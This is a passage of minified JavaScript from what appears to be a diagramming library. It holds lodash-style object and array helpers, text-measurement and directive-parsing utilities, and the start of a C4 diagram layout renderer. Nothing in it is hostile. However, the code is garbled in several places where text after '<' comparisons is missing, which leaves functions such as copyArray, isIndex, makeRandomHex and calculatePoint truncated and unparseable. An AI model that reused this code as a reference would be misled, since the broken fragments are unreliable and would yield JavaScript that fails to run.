dc,c2=N(()=>{"use strict";o2();vK();bK();wK();EK();CK();o(sm,"Stack");sm.prototype.clear=yK;sm.prototype.delete=xK;sm.prototype.get=TK;sm.prototype.has=kK;sm.prototype.set=SK;dc=sm});var bAe,om,xL=N(()=>{"use strict";Fh();bAe=(function(){try{var t=Ls(Object,"defineProperty");return t({},"",{}),t}catch{}})(),om=bAe});function TAe(t,e,r){e=="__proto__"&&om?om(t,e,{configurable:!0,enumerable:!0,value:r,writable:!0}):t[e]=r}var pc,lm=N(()=>{"use strict";xL();o(TAe,"baseAssignValue");pc=TAe});function wAe(t,e,r){(r!==void 0&&!Io(t[e],r)||r===void 0&&!(e in t))&&pc(t,e,r)}var u2,bL=N(()=>{"use strict";lm();zd();o(wAe,"assignMergeValue");u2=wAe});function kAe(t){return function(e,r,n){for(var i=-1,a=Object(e),s=n(e),l=s.length;l--;){var u=s[t?l:++i];if(r(a[u],u,a)===!1)break}return e}}var AK,_K=N(()=>{"use strict";o(kAe,"createBaseFor");AK=kAe});var EAe,cm,pT=N(()=>{"use strict";_K();EAe=AK(),cm=EAe});function CAe(t,e){if(e)return t.slice();var r=t.length,n=RK?RK(r):new t.constructor(r);return t.copy(n),n}var NK,DK,SAe,LK,RK,mT,TL=N(()=>{"use strict";Mo();NK=typeof exports=="object"&&exports&&!exports.nodeType&&exports,DK=NK&&typeof module=="object"&&module&&!module.nodeType&&module,SAe=DK&&DK.exports===NK,LK=SAe?hi.Buffer:void 0,RK=LK?LK.allocUnsafe:void 0;o(CAe,"cloneBuffer");mT=CAe});var AAe,um,wL=N(()=>{"use strict";Mo();AAe=hi.Uint8Array,um=AAe});function _Ae(t){var e=new t.constructor(t.byteLength);return new um(e).set(new um(t)),e}var hm,gT=N(()=>{"use strict";wL();o(_Ae,"cloneArrayBuffer");hm=_Ae});function DAe(t,e){var r=e?hm(t.buffer):t.buffer;return new t.constructor(r,t.byteOffset,t.length)}var yT,kL=N(()=>{"use strict";gT();o(DAe,"cloneTypedArray");yT=DAe});function LAe(t,e){var r=-1,n=t.length;for(e||(e=Array(n));++r{"use strict";o(LAe,"copyArray");vT=LAe});var MK,RAe,IK,OK=N(()=>{"use strict";oo();MK=Object.create,RAe=(function(){function t(){}return o(t,"object"),function(e){if(!Sn(e))return{};if(MK)return MK(e);t.prototype=e;var r=new t;return t.prototype=void 0,r}})(),IK=RAe});function NAe(t,e){return function(r){return t(e(r))}}var xT,SL=N(()=>{"use strict";o(NAe,"overArg");xT=NAe});var MAe,fm,bT=N(()=>{"use strict";SL();MAe=xT(Object.getPrototypeOf,Object),fm=MAe});function OAe(t){var e=t&&t.constructor,r=typeof e=="function"&&e.prototype||IAe;return t===r}var IAe,mc,dm=N(()=>{"use strict";IAe=Object.prototype;o(OAe,"isPrototype");mc=OAe});function PAe(t){return typeof t.constructor=="function"&&!mc(t)?IK(fm(t)):{}}var TT,CL=N(()=>{"use strict";OK();bT();dm();o(PAe,"initCloneObject");TT=PAe});function BAe(t){return t!=null&&typeof t=="object"}var ai,Oo=N(()=>{"use strict";o(BAe,"isObjectLike");ai=BAe});function $Ae(t){return ai(t)&&ha(t)==FAe}var FAe,AL,PK=N(()=>{"use strict";_u();Oo();FAe="[object Arguments]";o($Ae,"baseIsArguments");AL=$Ae});var BK,zAe,GAe,VAe,_l,pm=N(()=>{"use strict";PK();Oo();BK=Object.prototype,zAe=BK.hasOwnProperty,GAe=BK.propertyIsEnumerable,VAe=AL((function(){return arguments})())?AL:function(t){return ai(t)&&zAe.call(t,"callee")&&!GAe.call(t,"callee")},_l=VAe});var UAe,Bt,Yn=N(()=>{"use strict";UAe=Array.isArray,Bt=UAe});function qAe(t){return typeof t=="number"&&t>-1&&t%1==0&&t<=HAe}var HAe,mm,wT=N(()=>{"use strict";HAe=9007199254740991;o(qAe,"isLength");mm=qAe});function WAe(t){return t!=null&&mm(t.length)&&!Si(t)}var fi,Po=N(()=>{"use strict";i2();wT();o(WAe,"isArrayLike");fi=WAe});function YAe(t){return ai(t)&&fi(t)}var Vd,kT=N(()=>{"use strict";Po();Oo();o(YAe,"isArrayLikeObject");Vd=YAe});function XAe(){return!1}var FK,$K=N(()=>{"use strict";o(XAe,"stubFalse");FK=XAe});var VK,zK,jAe,GK,KAe,QAe,Dl,gm=N(()=>{"use strict";Mo();$K();VK=typeof exports=="object"&&exports&&!exports.nodeType&&exports,zK=VK&&typeof module=="object"&&module&&!module.nodeType&&module,jAe=zK&&zK.exports===VK,GK=jAe?hi.Buffer:void 0,KAe=GK?GK.isBuffer:void 0,QAe=KAe||FK,Dl=QAe});function n8e(t){if(!ai(t)||ha(t)!=ZAe)return!1;var e=fm(t);if(e===null)return!0;var r=t8e.call(e,"constructor")&&e.constructor;return typeof r=="function"&&r instanceof r&&UK.call(r)==r8e}var ZAe,JAe,e8e,UK,t8e,r8e,HK,qK=N(()=>{"use strict";_u();bT();Oo();ZAe="[object Object]",JAe=Function.prototype,e8e=Object.prototype,UK=JAe.toString,t8e=e8e.hasOwnProperty,r8e=UK.call(Object);o(n8e,"isPlainObject");HK=n8e});function _8e(t){return ai(t)&&mm(t.length)&&!!Gn[ha(t)]}var i8e,a8e,s8e,o8e,l8e,c8e,u8e,h8e,f8e,d8e,p8e,m8e,g8e,y8e,v8e,x8e,b8e,T8e,w8e,k8e,E8e,S8e,C8e,A8e,Gn,WK,YK=N(()=>{"use strict";_u();wT();Oo();i8e="[object Arguments]",a8e="[object Array]",s8e="[object Boolean]",o8e="[object Date]",l8e="[object Error]",c8e="[object Function]",u8e="[object Map]",h8e="[object Number]",f8e="[object Object]",d8e="[object RegExp]",p8e="[object Set]",m8e="[object String]",g8e="[object WeakMap]",y8e="[object ArrayBuffer]",v8e="[object DataView]",x8e="[object Float32Array]",b8e="[object Float64Array]",T8e="[object Int8Array]",w8e="[object Int16Array]",k8e="[object Int32Array]",E8e="[object Uint8Array]",S8e="[object Uint8ClampedArray]",C8e="[object Uint16Array]",A8e="[object Uint32Array]",Gn={};Gn[x8e]=Gn[b8e]=Gn[T8e]=Gn[w8e]=Gn[k8e]=Gn[E8e]=Gn[S8e]=Gn[C8e]=Gn[A8e]=!0;Gn[i8e]=Gn[a8e]=Gn[y8e]=Gn[s8e]=Gn[v8e]=Gn[o8e]=Gn[l8e]=Gn[c8e]=Gn[u8e]=Gn[h8e]=Gn[f8e]=Gn[d8e]=Gn[p8e]=Gn[m8e]=Gn[g8e]=!1;o(_8e,"baseIsTypedArray");WK=_8e});function D8e(t){return function(e){return t(e)}}var Bo,Ud=N(()=>{"use strict";o(D8e,"baseUnary");Bo=D8e});var XK,h2,L8e,_L,R8e,Fo,f2=N(()=>{"use strict";pL();XK=typeof exports=="object"&&exports&&!exports.nodeType&&exports,h2=XK&&typeof module=="object"&&module&&!module.nodeType&&module,L8e=h2&&h2.exports===XK,_L=L8e&&uT.process,R8e=(function(){try{var t=h2&&h2.require&&h2.require("util").types;return t||_L&&_L.binding&&_L.binding("util")}catch{}})(),Fo=R8e});var jK,N8e,Uh,d2=N(()=>{"use strict";YK();Ud();f2();jK=Fo&&Fo.isTypedArray,N8e=jK?Bo(jK):WK,Uh=N8e});function M8e(t,e){if(!(e==="constructor"&&typeof t[e]=="function")&&e!="__proto__")return t[e]}var p2,DL=N(()=>{"use strict";o(M8e,"safeGet");p2=M8e});function P8e(t,e,r){var n=t[e];(!(O8e.call(t,e)&&Io(n,r))||r===void 0&&!(e in t))&&pc(t,e,r)}var I8e,O8e,gc,ym=N(()=>{"use strict";lm();zd();I8e=Object.prototype,O8e=I8e.hasOwnProperty;o(P8e,"assignValue");gc=P8e});function B8e(t,e,r,n){var i=!r;r||(r={});for(var a=-1,s=e.length;++a{"use strict";ym();lm();o(B8e,"copyObject");$o=B8e});function F8e(t,e){for(var r=-1,n=Array(t);++r{"use strict";o(F8e,"baseTimes");KK=F8e});function G8e(t,e){var r=typeof t;return e=e??$8e,!!e&&(r=="number"||r!="symbol"&&z8e.test(t))&&t>-1&&t%1==0&&t{"use strict";$8e=9007199254740991,z8e=/^(?:0|[1-9]\d*)$/;o(G8e,"isIndex");Hh=G8e});function H8e(t,e){var r=Bt(t),n=!r&&_l(t),i=!r&&!n&&Dl(t),a=!r&&!n&&!i&&Uh(t),s=r||n||i||a,l=s?KK(t.length,String):[],u=l.length;for(var h in t)(e||U8e.call(t,h))&&!(s&&(h=="length"||i&&(h=="offset"||h=="parent")||a&&(h=="buffer"||h=="byteLength"||h=="byteOffset")||Hh(h,u)))&&l.push(h);return l}var V8e,U8e,ET,LL=N(()=>{"use strict";QK();pm();Yn();gm();m2();d2();V8e=Object.prototype,U8e=V8e.hasOwnProperty;o(H8e,"arrayLikeKeys");ET=H8e});function q8e(t){var e=[];if(t!=null)for(var r in Object(t))e.push(r);return e}var ZK,JK=N(()=>{"use strict";o(q8e,"nativeKeysIn");ZK=q8e});function X8e(t){if(!Sn(t))return ZK(t);var e=mc(t),r=[];for(var n in t)n=="constructor"&&(e||!Y8e.call(t,n))||r.push(n);return r}var W8e,Y8e,eQ,tQ=N(()=>{"use strict";oo();dm();JK();W8e=Object.prototype,Y8e=W8e.hasOwnProperty;o(X8e,"baseKeysIn");eQ=X8e});function j8e(t){return fi(t)?ET(t,!0):eQ(t)}var Rs,qh=N(()=>{"use strict";LL();tQ();Po();o(j8e,"keysIn");Rs=j8e});function K8e(t){return $o(t,Rs(t))}var rQ,nQ=N(()=>{"use strict";Hd();qh();o(K8e,"toPlainObject");rQ=K8e});function Q8e(t,e,r,n,i,a,s){var l=p2(t,r),u=p2(e,r),h=s.get(u);if(h){u2(t,r,h);return}var f=a?a(l,u,r+"",t,e,s):void 0,d=f===void 0;if(d){var p=Bt(u),m=!p&&Dl(u),g=!p&&!m&&Uh(u);f=u,p||m||g?Bt(l)?f=l:Vd(l)?f=vT(l):m?(d=!1,f=mT(u,!0)):g?(d=!1,f=yT(u,!0)):f=[]:HK(u)||_l(u)?(f=l,_l(l)?f=rQ(l):(!Sn(l)||Si(l))&&(f=TT(u))):d=!1}d&&(s.set(u,f),i(f,u,n,a,s),s.delete(u)),u2(t,r,f)}var iQ,aQ=N(()=>{"use strict";bL();TL();kL();EL();CL();pm();Yn();kT();gm();i2();oo();qK();d2();DL();nQ();o(Q8e,"baseMergeDeep");iQ=Q8e});function sQ(t,e,r,n,i){t!==e&&cm(e,function(a,s){if(i||(i=new dc),Sn(a))iQ(t,e,s,r,sQ,n,i);else{var l=n?n(p2(t,s),a,s+"",t,e,i):void 0;l===void 0&&(l=a),u2(t,s,l)}},Rs)}var oQ,lQ=N(()=>{"use strict";c2();bL();pT();aQ();oo();qh();DL();o(sQ,"baseMerge");oQ=sQ});function Z8e(t){return t}var Qi,Ru=N(()=>{"use strict";o(Z8e,"identity");Qi=Z8e});function J8e(t,e,r){switch(r.length){case 0:return t.call(e);case 1:return t.call(e,r[0]);case 2:return t.call(e,r[0],r[1]);case 3:return t.call(e,r[0],r[1],r[2])}return t.apply(e,r)}var cQ,uQ=N(()=>{"use strict";o(J8e,"apply");cQ=J8e});function e_e(t,e,r){return e=hQ(e===void 0?t.length-1:e,0),function(){for(var n=arguments,i=-1,a=hQ(n.length-e,0),s=Array(a);++i{"use strict";uQ();hQ=Math.max;o(e_e,"overRest");ST=e_e});function t_e(t){return function(){return t}}var Ns,NL=N(()=>{"use strict";o(t_e,"constant");Ns=t_e});var r_e,fQ,dQ=N(()=>{"use strict";NL();xL();Ru();r_e=om?function(t,e){return om(t,"toString",{configurable:!0,enumerable:!1,value:Ns(e),writable:!0})}:Qi,fQ=r_e});function s_e(t){var e=0,r=0;return function(){var n=a_e(),i=i_e-(n-r);if(r=n,i>0){if(++e>=n_e)return arguments[0]}else e=0;return t.apply(void 0,arguments)}}var n_e,i_e,a_e,pQ,mQ=N(()=>{"use strict";n_e=800,i_e=16,a_e=Date.now;o(s_e,"shortOut");pQ=s_e});var o_e,CT,ML=N(()=>{"use strict";dQ();mQ();o_e=pQ(fQ),CT=o_e});function l_e(t,e){return CT(ST(t,e,Qi),t+"")}var yc,vm=N(()=>{"use strict";Ru();RL();ML();o(l_e,"baseRest");yc=l_e});function c_e(t,e,r){if(!Sn(r))return!1;var n=typeof e;return(n=="number"?fi(r)&&Hh(e,r.length):n=="string"&&e in r)?Io(r[e],t):!1}var lo,qd=N(()=>{"use strict";zd();Po();m2();oo();o(c_e,"isIterateeCall");lo=c_e});function u_e(t){return yc(function(e,r){var n=-1,i=r.length,a=i>1?r[i-1]:void 0,s=i>2?r[2]:void 0;for(a=t.length>3&&typeof a=="function"?(i--,a):void 0,s&&lo(r[0],r[1],s)&&(a=i<3?void 0:a,i=1),e=Object(e);++n{"use strict";vm();qd();o(u_e,"createAssigner");AT=u_e});var h_e,Wh,OL=N(()=>{"use strict";lQ();IL();h_e=AT(function(t,e,r){oQ(t,e,r)}),Wh=h_e});function FL(t,e){if(!t)return e;let r=`curve${t.charAt(0).toUpperCase()+t.slice(1)}`;return f_e[r]??e}function g_e(t,e){let r=t.trim();if(r)return e.securityLevel!=="loose"?(0,vQ.sanitizeUrl)(r):r}function TQ(t,e){return!t||!e?0:Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))}function v_e(t){let e,r=0;t.forEach(i=>{r+=TQ(i,e),e=i});let n=r/2;return $L(t,n)}function x_e(t){return t.length===1?t[0]:v_e(t)}function T_e(t,e,r){let n=structuredClone(r);X.info("our points",n),e!=="start_left"&&e!=="start_right"&&n.reverse();let i=25+t,a=$L(n,i),s=10+t*.5,l=Math.atan2(n[0].y-a.y,n[0].x-a.x),u={x:0,y:0};return e==="start_left"?(u.x=Math.sin(l+Math.PI)*s+(n[0].x+a.x)/2,u.y=-Math.cos(l+Math.PI)*s+(n[0].y+a.y)/2):e==="end_right"?(u.x=Math.sin(l-Math.PI)*s+(n[0].x+a.x)/2-5,u.y=-Math.cos(l-Math.PI)*s+(n[0].y+a.y)/2-5):e==="end_left"?(u.x=Math.sin(l)*s+(n[0].x+a.x)/2-5,u.y=-Math.cos(l)*s+(n[0].y+a.y)/2-5):(u.x=Math.sin(l)*s+(n[0].x+a.x)/2,u.y=-Math.cos(l)*s+(n[0].y+a.y)/2),u}function zL(t){let e="",r="";for(let n of t)n!==void 0&&(n.startsWith("color:")||n.startsWith("text-align:")?r=r+n+";":e=e+n+";");return{style:e,labelStyle:r}}function w_e(t){let e="",r="0123456789abcdef",n=r.length;for(let i=0;iMath.round(parseFloat(a)).toString());return i.includes(r.toString())||i.includes(n.toString())}var vQ,BL,f_e,d_e,p_e,xQ,bQ,m_e,y_e,gQ,$L,b_e,yQ,GL,VL,k_e,E_e,UL,S_e,HL,PL,_T,C_e,A_e,vc,qt,wQ,Ji,xc,tr=N(()=>{"use strict";vQ=ja(tm(),1);yr();gr();S7();pt();vd();v0();vL();OL();F3();BL="\u200B",f_e={curveBasis:No,curveBasisClosed:K5,curveBasisOpen:Q5,curveBumpX:Vv,curveBumpY:Uv,curveBundle:tL,curveCardinalClosed:rL,curveCardinalOpen:iL,curveCardinal:Yv,curveCatmullRomClosed:sL,curveCatmullRomOpen:oL,curveCatmullRom:Kv,curveLinear:Cu,curveLinearClosed:rT,curveMonotoneX:Qv,curveMonotoneY:Zv,curveNatural:J0,curveStep:em,curveStepAfter:e2,curveStepBefore:Jv},d_e=/\s*(?:(\w+)(?=:):|(\w+))\s*(?:(\w+)|((?:(?!}%{2}).|\r?\n)*))?\s*(?:}%{2})?/gi,p_e=o(function(t,e){let r=xQ(t,/(?:init\b)|(?:initialize\b)/),n={};if(Array.isArray(r)){let s=r.map(l=>l.args);b0(s),n=Rn(n,[...s])}else n=r.args;if(!n)return;let i=_0(t,e),a="config";return n[a]!==void 0&&(i==="flowchart-v2"&&(i="flowchart"),n[i]=n[a],delete n[a]),n},"detectInit"),xQ=o(function(t,e=null){try{let r=new RegExp(`[%]{2}(?![{]${d_e.source})(?=[}][%]{2}).* +`,"ig");t=t.trim().replace(r,"").replace(/'/gm,'"'),X.debug(`Detecting diagram directive${e!==null?" type:"+e:""} based on the text:${t}`);let n,i=[];for(;(n=yd.exec(t))!==null;)if(n.index===yd.lastIndex&&yd.lastIndex++,n&&!e||e&&n[1]?.match(e)||e&&n[2]?.match(e)){let a=n[1]?n[1]:n[2],s=n[3]?n[3].trim():n[4]?JSON.parse(n[4].trim()):null;i.push({type:a,args:s})}return i.length===0?{type:t,args:null}:i.length===1?i[0]:i}catch(r){return X.error(`ERROR: ${r.message} - Unable to parse directive type: '${e}' based on the text: '${t}'`),{type:void 0,args:null}}},"detectDirective"),bQ=o(function(t){return t.replace(yd,"")},"removeDirectives"),m_e=o(function(t,e){for(let[r,n]of e.entries())if(n.match(t))return r;return-1},"isSubstringInArray");o(FL,"interpolateToCurve");o(g_e,"formatUrl");y_e=o((t,...e)=>{let r=t.split("."),n=r.length-1,i=r[n],a=window;for(let s=0;s{let r=Math.pow(10,e);return Math.round(t*r)/r},"roundNumber"),$L=o((t,e)=>{let r,n=e;for(let i of t){if(r){let a=TQ(i,r);if(a===0)return r;if(a=1)return{x:i.x,y:i.y};if(s>0&&s<1)return{x:gQ((1-s)*r.x+s*i.x,5),y:gQ((1-s)*r.y+s*i.y,5)}}}r=i}throw new Error("Could not find a suitable point for the given distance")},"calculatePoint"),b_e=o((t,e,r)=>{X.info(`our points ${JSON.stringify(e)}`),e[0]!==r&&(e=e.reverse());let i=$L(e,25),a=t?10:5,s=Math.atan2(e[0].y-i.y,e[0].x-i.x),l={x:0,y:0};return l.x=Math.sin(s)*a+(e[0].x+i.x)/2,l.y=-Math.cos(s)*a+(e[0].y+i.y)/2,l},"calcCardinalityPosition");o(T_e,"calcTerminalLabelPosition");o(zL,"getStylesFromArray");yQ=0,GL=o(()=>(yQ++,"id-"+Math.random().toString(36).substr(2,12)+"-"+yQ),"generateId");o(w_e,"makeRandomHex");VL=o(t=>w_e(t.length),"random"),k_e=o(function(){return{x:0,y:0,fill:void 0,anchor:"start",style:"#666",width:100,height:100,textMargin:0,rx:0,ry:0,valign:void 0,text:""}},"getTextObj"),E_e=o(function(t,e){let r=e.text.replace(tt.lineBreakRegex," "),[,n]=vc(e.fontSize),i=t.append("text");i.attr("x",e.x),i.attr("y",e.y),i.style("text-anchor",e.anchor),i.style("font-family",e.fontFamily),i.style("font-size",n),i.style("font-weight",e.fontWeight),i.attr("fill",e.fill),e.class!==void 0&&i.attr("class",e.class);let a=i.append("tspan");return a.attr("x",e.x+e.textMargin*2),a.attr("fill",e.fill),a.text(r),i},"drawSimpleText"),UL=am((t,e,r)=>{if(!t||(r=Object.assign({fontSize:12,fontWeight:400,fontFamily:"Arial",joinWith:"
    "},r),tt.lineBreakRegex.test(t)))return t;let n=t.split(" ").filter(Boolean),i=[],a="";return n.forEach((s,l)=>{let u=Zi(`${s} `,r),h=Zi(a,r);if(u>e){let{hyphenatedStrings:p,remainingWord:m}=S_e(s,e,"-",r);i.push(a,...p),a=m}else h+u>=e?(i.push(a),a=s):a=[a,s].filter(Boolean).join(" ");l+1===n.length&&i.push(a)}),i.filter(s=>s!=="").join(r.joinWith)},(t,e,r)=>`${t}${e}${r.fontSize}${r.fontWeight}${r.fontFamily}${r.joinWith}`),S_e=am((t,e,r="-",n)=>{n=Object.assign({fontSize:12,fontWeight:400,fontFamily:"Arial",margin:0},n);let i=[...t],a=[],s="";return i.forEach((l,u)=>{let h=`${s}${l}`;if(Zi(h,n)>=e){let d=u+1,p=i.length===d,m=`${h}${r}`;a.push(p?h:m),s=""}else s=h}),{hyphenatedStrings:a,remainingWord:s}},(t,e,r="-",n)=>`${t}${e}${r}${n.fontSize}${n.fontWeight}${n.fontFamily}`);o(DT,"calculateTextHeight");o(Zi,"calculateTextWidth");HL=am((t,e)=>{let{fontSize:r=12,fontFamily:n="Arial",fontWeight:i=400}=e;if(!t)return{width:0,height:0};let[,a]=vc(r),s=["sans-serif",n],l=t.split(tt.lineBreakRegex),u=[],h=qe("body");if(!h.remove)return{width:0,height:0,lineHeight:0};let f=h.append("svg");for(let p of s){let m=0,g={width:0,height:0,lineHeight:0};for(let y of l){let v=k_e();v.text=y||BL;let x=E_e(f,v).style("font-size",a).style("font-weight",i).style("font-family",p),b=(x._groups||x)[0][0].getBBox();if(b.width===0&&b.height===0)throw new Error("svg element not in render tree");g.width=Math.round(Math.max(g.width,b.width)),m=Math.round(b.height),g.height+=m,g.lineHeight=Math.round(Math.max(g.lineHeight,m))}u.push(g)}f.remove();let d=isNaN(u[1].height)||isNaN(u[1].width)||isNaN(u[1].lineHeight)||u[0].height>u[1].height&&u[0].width>u[1].width&&u[0].lineHeight>u[1].lineHeight?0:1;return u[d]},(t,e)=>`${t}${e.fontSize}${e.fontWeight}${e.fontFamily}`),PL=class{constructor(e=!1,r){this.count=0;this.count=r?r.length:0,this.next=e?()=>this.count++:()=>Date.now()}static{o(this,"InitIDGenerator")}},C_e=o(function(t){return _T=_T||document.createElement("div"),t=escape(t).replace(/%26/g,"&").replace(/%23/g,"#").replace(/%3B/g,";"),_T.innerHTML=t,unescape(_T.textContent)},"entityDecode");o(qL,"isDetailedError");A_e=o((t,e,r,n)=>{if(!n)return;let i=t.node()?.getBBox();i&&t.append("text").text(n).attr("text-anchor","middle").attr("x",i.x+i.width/2).attr("y",-r).attr("class",e)},"insertTitle"),vc=o(t=>{if(typeof t=="number")return[t,t+"px"];let e=parseInt(t??"",10);return Number.isNaN(e)?[void 0,void 0]:t===String(e)?[e,t+"px"]:[e,t]},"parseFontSize");o(Vn,"cleanAndMerge");qt={assignWithDepth:Rn,wrapLabel:UL,calculateTextHeight:DT,calculateTextWidth:Zi,calculateTextDimensions:HL,cleanAndMerge:Vn,detectInit:p_e,detectDirective:xQ,isSubstringInArray:m_e,interpolateToCurve:FL,calcLabelPosition:x_e,calcCardinalityPosition:b_e,calcTerminalLabelPosition:T_e,formatUrl:g_e,getStylesFromArray:zL,generateId:GL,random:VL,runFunc:y_e,entityDecode:C_e,insertTitle:A_e,isLabelCoordinateInPath:__e,parseFontSize:vc,InitIDGenerator:PL},wQ=o(function(t){let e=t;return e=e.replace(/style.*:\S*#.*;/g,function(r){return r.substring(0,r.length-1)}),e=e.replace(/classDef.*:\S*#.*;/g,function(r){return r.substring(0,r.length-1)}),e=e.replace(/#\w+;/g,function(r){let n=r.substring(1,r.length-1);return/^\+?\d+$/.test(n)?"\uFB02\xB0\xB0"+n+"\xB6\xDF":"\uFB02\xB0"+n+"\xB6\xDF"}),e},"encodeEntities"),Ji=o(function(t){return t.replace(/fl°°/g,"&#").replace(/fl°/g,"&").replace(/¶ß/g,";")},"decodeEntities"),xc=o((t,e,{counter:r=0,prefix:n,suffix:i},a)=>a||`${n?`${n}_`:""}${t}_${e}_${r}${i?`_${i}`:""}`,"getEdgeId");o(Cn,"handleUndefinedAttr");o(__e,"isLabelCoordinateInPath")});function Ll(t,e,r,n,i){if(!e[t].width)if(r)e[t].text=UL(e[t].text,i,n),e[t].textLines=e[t].text.split(tt.lineBreakRegex).length,e[t].width=i,e[t].height=DT(e[t].text,n);else{let a=e[t].text.split(tt.lineBreakRegex);e[t].textLines=a.length;let s=0;e[t].height=0,e[t].width=0;for(let l of a)e[t].width=Math.max(Zi(l,n),e[t].width),s=DT(l,n),e[t].height=e[t].height+s}}function AQ(t,e,r,n,i){let a=new MT(i);a.data.widthLimit=r.data.widthLimit/Math.min(WL,n.length);for(let[s,l]of n.entries()){let u=0;l.image={width:0,height:0,Y:0},l.sprite&&(l.image.width=48,l.image.height=48,l.image.Y=u,u=l.image.Y+l.image.height);let h=l.wrap&&Wt.wrap,f=LT(Wt);if(f.fontSize=f.fontSize+2,f.fontWeight="bold",Ll("label",l,h,f,a.data.widthLimit),l.label.Y=u+8,u=l.label.Y+l.label.height,l.type&&l.type.text!==""){l.type.text="["+l.type.text+"]";let g=LT(Wt);Ll("type",l,h,g,a.data.widthLimit),l.type.Y=u+5,u=l.type.Y+l.type.height}if(l.descr&&l.descr.text!==""){let g=LT(Wt);g.fontSize=g.fontSize-2,Ll("descr",l,h,g,a.data.widthLimit),l.descr.Y=u+20,u=l.descr.Y+l.descr.height}if(s==0||s%WL===0){let g=r.data.startx+Wt.diagramMarginX,y=r.data.stopy+Wt.diagramMarginY+u;a.setData(g,g,y,y)}else{let g=a.data.stopx!==a.data.startx?a.data.stopx+Wt.diagramMarginX:a.data.startx,y=a.data.starty;a.setData(g,g,y,y)}a.name=l.alias;let d=i.db.getC4ShapeArray(l.alias),p=i.db.getC4ShapeKeys(l.alias);p.length>0&&CQ(a,t,d,p),e=l.alias;let m=i.db.getBoundaries(e);m.length>0&&AQ(t,e,a,m,i),l.alias!=="global"&&SQ(t,l,a),r.data.stopy=Math.max(a.data.stopy+Wt.c4ShapeMargin,r.data.stopy),r.data.stopx=Math.max(a.data.stopx+Wt.c4ShapeMargin,r.data.stopx),RT=Math.max(RT,r.data.stopx),NT=Math.max(NT,r.data.stopy)}}var RT,NT,EQ,WL,Wt,MT,YL,g2,LT,D_e,SQ,CQ,Ms,kQ,L_e,R_e,N_e,XL,_Q=N(()=>{"use strict";yr();kj();pt();RA();gr();GA();Xt();v0();tr();Ei();RT=0,NT=0,EQ=4,WL=2;tv.yy=ov;Wt={},MT=class{static{o(this,"Bounds")}constructor(e){this.name="",this.data={},this.data.startx=void 0,this.data.stopx=void 0,this.data.starty=void 0,this.data.stopy=void 0,this.data.widthLimit=void 0,this.nextData={},this.nextData.startx=void 0,this.nextData.stopx=void 0,this.nextData.starty=void 0,this.nextData.stopy=void 0,this.nextData.cnt=0,YL(e.db.getConfig())}setData(e,r,n,i){this.nextData.startx=this.data.startx=e,this.nextData.stopx=this.data.stopx=r,this.nextData.starty=this.data.starty=n,this.nextData.stopy=this.data.stopy=i}updateVal(e,r,n,i){e[r]===void 0?e[r]=n:e[r]=i(n,e[r])}insert(e){this.nextData.cnt=this.nextData.cnt+1;let r=this.nextData.startx===this.nextData.stopx?this.nextData.stopx+e.margin:this.nextData.stopx+e.margin*2,n=r+e.width,i=this.nextData.starty+e.margin*2,a=i+e.height;(r>=this.data.widthLimit||n>=this.data.widthLimit||this.nextData.cnt>EQ)&&(r=this.nextData.startx+e.margin+Wt.nextLinePaddingX,i=this.nextData.stopy+e.margin*2,this.nextData.stopx=n=r+e.width,this.nextData.starty=this.nextData.stopy,this.nextData.stopy=a=i+e.height,this.nextData.cnt=1),e.x=r,e.y=i,this.updateVal(this.data,"startx",r,Math.min),this.updateVal(this.data,"starty",i,Math.min),this.updateVal(this.data,"stopx",n,Math.max),this.updateVal(this.data,"stopy",a,Math.max),this.updateVal(this.nextData,"startx",r,Math.min),this.updateVal(this.nextData,"starty",i,Math.min),this.updateVal(this.nextData,"stopx",n,Math.max),this.updateVal(this.nextData,"stopy",a,Math.max)}init(e){this.name="",this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0,widthLimit:void 0},this.nextData={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0,cnt:0},YL(e.db.getConfig())}bumpLastMargin(e){this.data.stopx+=e,this.data.stopy+=e}},YL=o(function(t){Rn(Wt,t),t.fontFamily&&(Wt.personFontFamily=Wt.systemFontFamily=Wt.messageFontFamily=t.fontFamily),t.fontSize&&(Wt.personFontSize=Wt.systemFontSize=Wt.messageFontSize=t.fontSize),t.fontWeight&&(Wt.personFontWeight=Wt.systemFontWeight=Wt.messageFontWeight=t.fontWeight)},"setConf"),g2=o((t,e)=>({fontFamily:t[e+"FontFamily"],fontSize:t[e+"FontSize"],fontWeight:t[e+"FontWeight"]}),"c4ShapeFont"),LT=o(t=>({fontFamily:t.boundaryFontFamily,fontSize:t.boundaryFontSize,fontWeight:t.boundaryFontWeight}),"boundaryFont"),D_e=o(t=>({fontFamily:t.messageFontFamily,fontSize:t.messageFontSize,fontWeight:t.messageFontWeight}),"messageFont");o(Ll,"calcC4ShapeTextWH");SQ=o(function(t,e,r){e.x=r.data.startx,e.y=r.data.starty,e.width=r.data.stopx-r.data.startx,e.height=r.data.stopy-r.data.starty,e.label.y=Wt.c4ShapeMargin-35;let n=e.wrap&&Wt.wrap,i=LT(Wt);i.fontSize=i.fontSize+2,i.fontWeight="bold";let a=Zi(e.label.text,i);Ll("label",e,n,i,a),Al.drawBoundary(t,e,Wt)},"drawBoundary"),CQ=o(function(t,e,r,n){let i=0;for(let a of n){i=0;let s=r[a],l=g2(Wt,s.typeC4Shape.text);switch(l.fontSize=l.fontSize-2,s.typeC4Shape.width=Zi("\xAB"+s.typeC4Shape.text+"\xBB",l),s.typeC4Shape.height=l.fontSize+2,s.typeC4Shape.Y=Wt.c4ShapePadding,i=s.typeC4Shape.Y+s.typeC4Shape.height-4,s.image={width:0,height:0,Y:0},s.typeC4Shape.text){case"person":case"external_person":s.image.width=48,s.image.height=48,s.image.Y=i,i=s.image.Y+s.image.height;break}s.sprite&&(s.image.width=48,s.image.height=48,s.image.Y=i,i=s.image.Y+s.image.height);let u=s.wrap&&Wt.wrap,h=Wt.width-Wt.c4ShapePadding*2,f=g2(Wt,s.typeC4Shape.text);if(f.fontSize=f.fontSize+2,f.fontWeight="bold",Ll("label",s,u,f,h),s.label.Y=i+8,i=s.label.Y+s.label.height,s.type&&s.type.text!==""){s.type.text="["+s.type.text+"]";let m=g2(Wt,s.typeC4Shape.text);Ll("type",s,u,m,h),s.type.Y=i+5,i=s.type.Y+s.type.height}else if(s.techn&&s.techn.text!==""){s.techn.text="["+s.techn.text+"]";let m=g2(Wt,s.techn.text);Ll("techn",s,u,m,h),s.techn.Y=i+5,i=s.techn.Y+s.techn.height}let d=i,p=s.label.width;if(s.descr&&s.descr.text!==""){let 